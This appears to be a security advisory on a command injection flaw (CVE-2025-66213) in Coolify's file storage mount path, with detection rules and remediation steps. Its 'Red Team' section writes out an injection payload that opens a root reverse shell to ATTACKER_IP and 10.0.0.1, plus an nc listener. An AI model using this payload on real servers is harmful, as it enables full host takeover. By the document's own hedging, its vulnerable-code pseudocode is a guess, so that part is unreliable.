CVE-2025-66213

Executive Summary

CVE-2025-66213 is a critical command injection vulnerability in Coolify, an open-source and self-hostable tool for managing servers, applications, and databases. The flaw resides in the File Storage Directory Mount Path functionality, where the file_storage_directory_source parameter is passed directly to shell commands without proper sanitization. An authenticated attacker with application/service management permissions can exploit this to execute arbitrary commands as root on managed servers, leading to full remote code execution (RCE) on the host system. The vulnerability affects all versions prior to 4.0.0-beta.451. No public proof-of-concept (PoC) or exploit code is currently available, but the risk is high due to the potential for complete host compromise.

Supply Chain & Package Security

Coolify is distributed as a Docker image and via GitHub releases. The vulnerability is in the core application code, not in a package manager (NPM, PyPI, Go, Ruby). However, users should verify the integrity of their Coolify installation and ensure they are using the official source. The patch is available in version 4.0.0-beta.451, which should be applied immediately.

CVSS Breakdown & Threat Level

CVSS Score: 9.9 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions are required; the attack is straightforward.
• Privileges Required (PR): Low – An attacker needs only application/service management permissions, not root.
• User Interaction (UI): None – No user action is required for exploitation.
• Scope (S): Changed – The vulnerable component impacts resources beyond its security scope (host system).
• Confidentiality (C): High – Full read access to all data on the host.
• Integrity (I): High – Full write access to the host system.
• Availability (A): High – Full control over host system availability.

Threat Level: Critical. The combination of low privileges required, network exploitability, and high impact makes this a severe threat. An attacker can pivot from managing applications to owning the entire server.

Deep Dive & Mechanics

The vulnerability is in the file storage mount path functionality. When a user configures a file storage directory mount, the application constructs a shell command to mount the directory. The file_storage_directory_source parameter is concatenated into this command without sanitization. For example, the vulnerable code might look like:

mount -t nfs $file_storage_directory_source /mnt/storage

An attacker can inject shell metacharacters (e.g., ;, |, $(...)) into the file_storage_directory_source parameter. For instance, setting it to:

192.168.1.1:/share; id > /tmp/pwned

Would result in the command:

mount -t nfs 192.168.1.1:/share; id > /tmp/pwned /mnt/storage

The id command executes as root, writing output to /tmp/pwned. This demonstrates arbitrary command execution.

The root cause is the lack of input validation and the use of shell execution functions (e.g., exec(), system(), or shell_exec() in PHP) without proper escaping. The fix in version 4.0.0-beta.451 likely involves using parameterized commands or proper escaping functions.

Vulnerable vs. Patched Code

Vulnerable Code (PHP-like pseudocode):

$source = $_POST['file_storage_directory_source'];
$command = "mount -t nfs $source /mnt/storage";
shell_exec($command);

Patched Code (PHP-like pseudocode):

$source = $_POST['file_storage_directory_source'];
// Validate and sanitize input
if (!preg_match('/^[a-zA-Z0-9:\/.-]+$/', $source)) {
    die("Invalid source");
}
// Use escapeshellarg to prevent injection
$command = "mount -t nfs " . escapeshellarg($source) . " /mnt/storage";
shell_exec($command);

The patched version uses escapeshellarg() to properly escape the input, preventing shell injection. Additionally, input validation ensures only safe characters are allowed.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to a Coolify instance (version < 4.0.0-beta.451)
• Valid credentials with application/service management permissions
• Network access to the Coolify web interface

Exploitation Steps:

1. Authenticate to the Coolify web interface.
2. Navigate to the File Storage Directory Mount configuration page.
3. Inject a malicious payload into the file_storage_directory_source parameter. Example payload:

   192.168.1.1:/share; bash -c 'exec bash -i &>/dev/tcp/ATTACKER_IP/4444 <&1'
   

4. Submit the form. The command executes as root, establishing a reverse shell to the attacker's machine.

Proof-of-Concept (No public exploit available, but conceptual):

# Attacker listens for reverse shell
nc -lvnp 4444

# Victim submits payload via web form
# file_storage_directory_source = 192.168.1.1:/share; bash -c 'exec bash -i &>/dev/tcp/10.0.0.1/4444 <&1'

Blue Team (Detection & Response)

Detection:

• Monitor web application logs for unusual characters in the file_storage_directory_source parameter (e.g., ;, |, $).
• Monitor system logs for unexpected mount commands or shell executions.
• Use endpoint detection and response (EDR) tools to detect child processes of the web server spawning shells.

Response:

1. Isolate the affected server from the network.
2. Kill any suspicious processes (e.g., reverse shells).
3. Review logs to identify the scope of compromise.
4. Patch Coolify to version 4.0.0-beta.451 or later.
5. Rotate all credentials on the compromised host.

Indicators of Compromise (IOCs)

Network IOCs:

• Outbound connections to unknown IPs on common reverse shell ports (4444, 1337, 31337).
• Unusual DNS queries for command-and-control (C2) domains.

Host IOCs:

• Unexpected processes running as root (e.g., /bin/bash, /bin/sh).
• Files in /tmp/ with suspicious names (e.g., pwned, exploit).
• Modified system binaries or configuration files.
• Unusual entries in /etc/cron* or systemd services.

Application IOCs:

• Web server logs containing shell metacharacters in the file_storage_directory_source parameter.
• Error logs showing failed mount attempts with injected commands.

Detection Engineering

YARA Rule

rule CVE_2025_66213_Coolify_RCE {
    meta:
        description = "Detects Coolify command injection in file_storage_directory_source"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-66213"
    strings:
        $injection = /file_storage_directory_source[^&]*[;&|`$]/
    condition:
        $injection
}

Sigma Rule

title: Coolify Command Injection in File Storage Mount
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2025-66213 via shell metacharacters in file_storage_directory_source
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - 'file_storage_directory_source='
            - ';'
            - '|'
            - '`'
            - '$('
    condition: selection
falsepositives:
    - Legitimate use of special characters in directory paths (unlikely)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-66213 Coolify Command Injection Attempt"; flow:to_server,established; content:"file_storage_directory_source"; http_uri; pcre:"/file_storage_directory_source=[^&]*[;&|`$]/"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Coolify to version 4.0.0-beta.451 or later immediately.
2. Restrict network access to the Coolify web interface to trusted IPs only.
3. Review user permissions and ensure only necessary users have application/service management roles.

Long-term Mitigations:

• Implement a Web Application Firewall (WAF) to block malicious input patterns.
• Conduct regular security audits and penetration testing.
• Enable detailed logging and monitoring for all administrative actions.
• Follow the principle of least privilege for all users.

Workaround (if patching is not immediately possible):

• Disable the File Storage Directory Mount functionality if not in use.
• Manually validate and sanitize the file_storage_directory_source parameter in the application code.

Valters IT